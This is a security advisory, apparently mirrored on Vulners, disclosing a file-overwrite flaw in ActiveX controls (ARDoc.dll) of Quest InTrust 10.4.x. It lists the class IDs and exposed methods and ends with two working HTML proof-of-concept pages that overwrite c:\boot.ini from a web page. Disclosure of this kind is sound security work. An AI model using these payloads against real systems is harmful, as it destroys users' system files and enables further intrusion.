Vulners
Lucene search
Quest InTrust 10.4.x ReportTree and SimpleTree Classes
Quest InTrust 10.4.x ReportTree and SimpleTree Classes
ArDoc.dll ActiveX Control Remote File Creation / Overwrite
homepage: http://www.quest.com/intrust/
description: "InTrust securely collects, stores, reports and
alerts on event log data from Windows, Unix and Linux systems,
helping you comply with external regulations, internal policies
and security best practices."
download url of a test version:
http://www.quest.com/downloads/
file tested: Quest_InTrust---Full-Package_104.zip
Background:
The mentioned product, when installed, registers two classes
with the following settings:
binary path: C:\Program Files\Common Files\Aelita Shared\ARDoc.dll
CLSID: {C6FAAD6A-68AE-452B-9F7A-9293408F51EF}
ProgID: ARDOC.ReportTree.1
Implements IObjectSafety: yes
Safe For Scripting (IObjectSafety): True
Safe For Initialization (IObjectSafety): ?
binary path: C:\Program Files\Common Files\Aelita Shared\ARDoc.dll
CLSID: {EB5920E8-F6FA-4080-ADDC-AA03FA23E2AB}
ProgID: ARDOC.SimpleTree.1
Implements IObjectSafety: yes
Safe For Scripting (IObjectSafety): True
Safe For Initialization (IObjectSafety): ?
According to IObjectSafety interface, this control is safe
for scripting then Internet Explorer will allow scripting
of this control.
Vulnerability:
both classes expose insecure methods (read/write):
...
/* DISPID=34 */
/* VT_BOOL [11] */
function LoadFromFile(
/* VT_BSTR [8] */ $bstrFileName
)
{
/* method LoadFromFile */
}
/* DISPID=35 */
/* VT_BOOL [11] */
function SaveToFile(
/* VT_BSTR [8] */ $bstrFileName
)
{
/* method SaveToFile */
}
...
SaveToFile() allows arbitrary file creation and overwrite.
The resulting file has the following header:
D0 CF 11 E0 A1 B1 1A E1 00 00 00 00 ...
This seems a Microsoft Office file.
As attachment, two pocs, overwriting the boot.ini file. Change for your needs.
Other attacks are possible, including remote code execution
if the attacker is able to control file content.
At the time of report, however, this could not be achieved. I
will post updates on this if demonstrated.
<!--
Quest InTrust 10.4.x SimpleTree Class ActiveX Control Remote File Overwrite
binary path: C:\Program Files\Common Files\Aelita Shared\ARDoc.dll
CLSID: {EB5920E8-F6FA-4080-ADDC-AA03FA23E2AB}
ProgID: ARDOC.SimpleTree.1
Implements IObjectSafety: yes
Safe For Scripting (IObjectSafety): True
Safe For Initialization (IObjectSafety): ?
-->
<!-- saved from url=(0014)about:internet -->
<html>
<object classid='clsid:EB5920E8-F6FA-4080-ADDC-AA03FA23E2AB' id='obj' WIDTH=640 height=480 />
</object>
<script>
obj.SaveToFile("c:\\boot.ini");
</script>
<!--
Quest InTrust 10.4.x ReportTree Class ActiveX Control Remote File Overwrite
binary path: C:\Program Files\Common Files\Aelita Shared\ARDoc.dll
CLSID: {C6FAAD6A-68AE-452B-9F7A-9293408F51EF}
ProgID: ARDOC.ReportTree.1
Implements IObjectSafety: yes
Safe For Scripting (IObjectSafety): True
Safe For Initialization (IObjectSafety): ?
-->
<!-- saved from url=(0014)about:internet -->
<html>
<object classid='clsid:C6FAAD6A-68AE-452B-9F7A-9293408F51EF' id='obj' />
</object>
<script>
obj.SaveToFile("c:\\boot.ini");
</script>
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1